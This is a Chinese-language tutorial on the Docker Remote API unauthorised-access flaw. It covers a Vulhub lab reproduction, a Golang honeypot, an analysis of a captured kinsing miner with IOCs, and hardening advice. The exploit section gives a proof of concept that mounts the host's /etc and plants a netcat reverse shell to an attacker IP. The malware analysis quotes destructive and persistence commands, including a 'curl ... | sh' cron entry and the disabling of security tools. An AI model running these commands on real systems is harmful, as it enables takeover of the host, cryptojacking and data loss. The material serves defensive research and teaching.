docker未授权漏洞蜜罐模拟与捕获分析
字数 1870 2025-08-27 12:33:48

Docker未授权漏洞蜜罐模拟与捕获分析教学文档

1. 概述

本教学文档详细讲解Docker未授权漏洞的原理、复现方法、蜜罐模拟技术以及恶意攻击行为分析。通过本教程,您将掌握:

  • Docker未授权漏洞的形成原理
  • 使用Vulhub靶场复现漏洞的方法
  • 使用Golang编写低交互蜜罐的技术
  • 捕获和分析真实网络攻击行为
  • 提取威胁情报的方法

2. 漏洞原理与复现

2.1 漏洞环境准备

实验环境:

  • 宿主机:Ubuntu系统,IP: 192.168.145.139
  • 攻击机:Kali Linux,IP: 192.168.145.130

2.2 漏洞原理详解

Docker是一个开源的应用容器引擎,允许开发者打包应用及依赖到可移植容器中。漏洞主要涉及:

  1. Docker Swarm:将Docker集群变成单一虚拟Docker主机的工具
  2. Docker Remote API:默认绑定在0.0.0.0:2375端口
    • 无需认证即可执行Docker命令
    • 可访问http://host:2375/containers/json获取容器列表
    • 可执行创建/删除容器、拉取镜像等操作
  3. 漏洞本质:未授权访问+容器逃逸
    • 利用挂载目录逃出容器限制
    • 获取宿主机root权限

2.3 漏洞复现步骤

  1. 搭建Vulhub环境

    docker-compose up -d
    

    出现绿色"done"表示启动成功

  2. 验证漏洞存在
    浏览器访问http://ip:2375/version,能访问说明漏洞存在

  3. POC代码分析

    import docker
    client = docker.DockerClient(base_url='http://192.168.145.139:2375/')
    data = client.containers.run('alpine:latest', r'''sh -c "echo usr/bin/nc 192.168.145.130 23456 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
    

    关键点解析:

    • 连接未授权Docker API
    • 使用alpine镜像创建容器
    • 挂载宿主机/etc目录到容器/tmp/etc
    • 通过nc反弹shell到攻击机23456端口
  4. 攻击验证

    • 攻击机监听:nc -lvvp 23456
    • 执行POC后获取宿主机root shell

3. 蜜罐模拟技术

3.1 蜜罐类型选择

低交互蜜罐特点:

  • 模拟网络服务响应
  • 易于部署和控制
  • 模拟能力较弱但风险低
  • 容易被高级攻击者识别

3.2 Golang蜜罐实现

源码地址:
https://github.com/sunhao282/HoneypotCaptureAttack/tree/master

核心流程:

  1. 读取配置文件config.ini

    • status=1开启蜜罐
    • status=0关闭蜜罐
  2. 支持的路由路径(基于自动化攻击程序分析):

    • /containers/json
    • /version
    • /images/json
    • /info
    • /containers/create
  3. 启动HTTP服务

    http.ListenAndServe(":2375", nil)
    
  4. 日志记录攻击行为

4. 攻击捕获与分析

4.1 恶意样本分析

样本信息:

  • IP: 195.2.79.26
  • 样本路径: /d.sh

4.1.1 挖矿程序下载

  • 检查并下载kinsing恶意程序
  • 下载地址: http://195.2.79.26/kinsing

4.1.2 竞品清除

# 删除用户账号
userdel -r someuser

# 杀掉进程
killall -9 someprocess

# 删除docker文件
rm -rf /var/lib/docker

4.1.3 安全软件卸载

# 卸载阿里云安骑士
/etc/init.d/aegis uninstall

# 关闭安全模块
setenforce 0
systemctl stop apparmor

4.1.4 持久化机制

# 定时任务
(crontab -l ; echo "*/30 * * * * curl http://malicious.url/script.sh | sh") | crontab -

4.2 kinsing样本分析

逆向分析发现:

  1. downloadAndExecute函数:下载执行恶意文件
  2. killold函数:结束竞品进程
  3. 挖矿相关功能函数

4.3 IOC情报

IP:

  • 195.2.79.26

sh样本哈希:

  • SHA256: 529d7dee640400faf1fe550f30adaa8776d18723e41320eb1cde753e436c2238
  • MD5: 183192abab39199eb04c1961ff8a61e5

kinsing样本哈希:

  • SHA256: 5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d
  • MD5: 2c44b4e4706b8bd95d1866d7867efa0e

5. 防护建议

  1. 网络层防护

    • 禁止2375端口对外网开放
    • 内网设置严格访问规则
    • 配置IP白名单
  2. 认证加固

    • 启用Docker TLS认证
    dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=0.0.0.0:2376
    
  3. 安全监控

    • 部署入侵检测系统监控2375端口异常访问
    • 定期审计Docker API调用日志
  4. 最小权限原则

    • 不以root权限运行Docker服务
    • 使用非特权用户运行容器
  5. 安全更新

    • 及时更新Docker到最新版本
    • 关注CVE漏洞公告

6. 总结

通过本教程,您已掌握:

  1. Docker未授权漏洞的完整利用链
  2. 低交互蜜罐的构建方法
  3. 真实攻击行为的分析方法
  4. 有效的防护措施

建议在实际环境中谨慎测试漏洞复现部分,蜜罐部署需考虑法律合规性。持续关注新型攻击手法,更新防护策略。

Docker未授权漏洞蜜罐模拟与捕获分析教学文档 1. 概述 本教学文档详细讲解Docker未授权漏洞的原理、复现方法、蜜罐模拟技术以及恶意攻击行为分析。通过本教程,您将掌握: Docker未授权漏洞的形成原理 使用Vulhub靶场复现漏洞的方法 使用Golang编写低交互蜜罐的技术 捕获和分析真实网络攻击行为 提取威胁情报的方法 2. 漏洞原理与复现 2.1 漏洞环境准备 实验环境: 宿主机:Ubuntu系统,IP: 192.168.145.139 攻击机:Kali Linux,IP: 192.168.145.130 2.2 漏洞原理详解 Docker是一个开源的应用容器引擎,允许开发者打包应用及依赖到可移植容器中。漏洞主要涉及: Docker Swarm :将Docker集群变成单一虚拟Docker主机的工具 Docker Remote API :默认绑定在0.0.0.0:2375端口 无需认证即可执行Docker命令 可访问 http://host:2375/containers/json 获取容器列表 可执行创建/删除容器、拉取镜像等操作 漏洞本质 :未授权访问+容器逃逸 利用挂载目录逃出容器限制 获取宿主机root权限 2.3 漏洞复现步骤 搭建Vulhub环境 出现绿色"done"表示启动成功 验证漏洞存在 浏览器访问 http://ip:2375/version ,能访问说明漏洞存在 POC代码分析 关键点解析: 连接未授权Docker API 使用alpine镜像创建容器 挂载宿主机 /etc 目录到容器 /tmp/etc 通过nc反弹shell到攻击机23456端口 攻击验证 攻击机监听: nc -lvvp 23456 执行POC后获取宿主机root shell 3. 蜜罐模拟技术 3.1 蜜罐类型选择 低交互蜜罐特点: 模拟网络服务响应 易于部署和控制 模拟能力较弱但风险低 容易被高级攻击者识别 3.2 Golang蜜罐实现 源码地址: https://github.com/sunhao282/HoneypotCaptureAttack/tree/master 核心流程: 读取配置文件 config.ini status=1 开启蜜罐 status=0 关闭蜜罐 支持的路由路径(基于自动化攻击程序分析): /containers/json /version /images/json /info /containers/create 启动HTTP服务 日志记录攻击行为 4. 攻击捕获与分析 4.1 恶意样本分析 样本信息: IP: 195.2.79.26 样本路径: /d.sh 4.1.1 挖矿程序下载 检查并下载kinsing恶意程序 下载地址: http://195.2.79.26/kinsing 4.1.2 竞品清除 4.1.3 安全软件卸载 4.1.4 持久化机制 4.2 kinsing样本分析 逆向分析发现: downloadAndExecute 函数:下载执行恶意文件 killold 函数:结束竞品进程 挖矿相关功能函数 4.3 IOC情报 IP: 195.2.79.26 sh样本哈希: SHA256: 529d7dee640400faf1fe550f30adaa8776d18723e41320eb1cde753e436c2238 MD5: 183192abab39199eb04c1961ff8a61e5 kinsing样本哈希: SHA256: 5d2530b809fd069f97b30a5938d471dd2145341b5793a70656aad6045445cf6d MD5: 2c44b4e4706b8bd95d1866d7867efa0e 5. 防护建议 网络层防护 禁止2375端口对外网开放 内网设置严格访问规则 配置IP白名单 认证加固 启用Docker TLS认证 安全监控 部署入侵检测系统监控2375端口异常访问 定期审计Docker API调用日志 最小权限原则 不以root权限运行Docker服务 使用非特权用户运行容器 安全更新 及时更新Docker到最新版本 关注CVE漏洞公告 6. 总结 通过本教程,您已掌握: Docker未授权漏洞的完整利用链 低交互蜜罐的构建方法 真实攻击行为的分析方法 有效的防护措施 建议在实际环境中谨慎测试漏洞复现部分,蜜罐部署需考虑法律合规性。持续关注新型攻击手法,更新防护策略。